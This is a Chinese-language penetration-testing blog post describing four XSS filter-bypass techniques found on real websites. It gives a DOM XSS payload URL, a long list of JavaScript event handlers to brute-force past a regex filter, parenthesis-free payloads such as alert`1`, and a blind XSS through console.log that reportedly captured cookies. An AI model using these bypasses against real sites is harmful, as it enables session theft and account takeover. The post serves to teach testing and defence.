暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

实战中的另类XSS

黑科技兔 2021-10-20
1377

一、参数污染XSS


漏洞描述:基于DOM的XSS中,通过涉及服务器控制的可信脚本(例如JavaScript),该脚本发送到客户端后,在用户提交表单之前,对相应参数进行检查。如果服务器提供的脚本处理用户输入的数据,然后将数据注入回Web页面(例如通过动态的HTML),返回之前未对数据进行严格地过滤,就会可能存在基于DOM的XSS漏洞https://ip/web/newywbl/dataflow.jsp?nav=5

漏洞截图:


Nav参数可控,于是可构造payload:

https://ip/web/newywbl/dataflow.jsp?nav=5”;alert(“xss”);//


该网站存在参数污染,导致当前访问的值可通过下一次的请求访问到上一次请求的cache,进而绕过拦截。

通过任意构造的参数payload:https://ip/web/newywbl/dataflow.jsp?nav=%a即可触发dom xss



解决方案:

修改网站机制,禁止用户能请求到上一个请求的cache值。


二、正则函数过滤的xss绕过

网站未过滤双引号和尖括号,但是对常见的触发xss弹窗的敏感因为进行了过滤,onmouseover,onload等函数均不能使用


于是搜集所有关于弹窗的js函数

onabort
onactivate
onafterprint
onafterupdate
onanimationend
onanimationiteration
onanimationstart
onautocomplete
onautocompleteerror
onbeforeactivate
onbeforecopy
onbeforecut
onbeforedeactivate
onbeforeeditfocus
onbeforepaste
onbeforeprint
onbeforeunload
onbeforeupdate
onbegin
onblur
onbounce
oncancel
oncanplay
oncanplaythrough
oncellchange
onchange
onclick
onclose
oncompassneedscalibration
oncontextmenu
oncontrolselect
oncopy
oncuechange
oncut
ondataavailable
ondatasetchanged
ondatasetcomplete
ondblclick
ondeactivate
ondevicelight
ondevicemotion
ondeviceorientation
ondeviceproximity
ondrag
ondragdrop
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onend
onended
onerror
onerrorupdate
onexit
onfilterchange
onfinish
onfocus
onfocusin
onfocusout
onformchange
onforminput
ongesturechange
ongestureend
ongesturestart
onhashchange
onhelp
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onlanguagechange
onlayoutcomplete
onload
onloadeddata
onloadedmetadata
onloadstart
onlosecapture
onmediacomplete
onmediaerror
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onmove
onmoveend
onmovestart
onmozfullscreenchange
onmozfullscreenerror
onmozpointerlockchange
onmozpointerlockerror
onmsgesturechange
onmsgesturedoubletap
onmsgesturehold
onmsgesturerestart
onmsinertiastart
onmspointercancel
onmspointerdown
onmspointerenter
onmspointerhover
onmspointerleave
onmspointermove
onmspointerout
onmspointerover
onmspointerup
onoffline
ononline
onorientationchange
onoutofsync
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpopstate
onprogress
onpropertychange
onratechange
onreadystatechange
onreceived
onrepeat
onreset
onresize
onresizeend
onresizestart
onresume
onreverse
onrowdelete
onrowenter
onrowexit
onrowinserted
onrowsdelete
onrowsinserted
onscroll
onsearch
onseek
onseeked
onseeking
onselect
onselectionchange
onselectstart
onshow
onstalled
onstart
onstop
onstorage
onsubmit
onsuspend
onsynchrestored
ontimeerror
ontimeup

通过burp爆破,即可得知,哪个函数没有被写入正则。

Payload:"><body onpageshow=alert(1)>




三、无圆括号xss弹窗

正常的xsspayload:<svg/onload=alert(1)>,如果过滤了圆括号需要用哪种方法绕过

1.payload:alert`1`,这个在键盘~号的下面 1的左边。


2.一个神奇的错误抛出方式:<script>onerror=alert;throw%201337</script>



四、console.log()盲打xss

代码审计到一个console.log,未对参数进行过滤。导致console.log()内部可控。首先我们对这个函数进行一个普及

console.log() 方法用于在控制台输出信息。

该方法对于开发过程进行测试很有帮助

鸡肋之处是在于控制台触发,但是可造成存储型xss


传入的params参数未经过滤,我们可以构造xss盲打平台的地址  

Console.log()参数规则可支持http链接



于是内部构造参数如下图:


点击则会跳转至xss盲打平台图片链接


平台收到cookie。。。



文章转载自黑科技兔,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论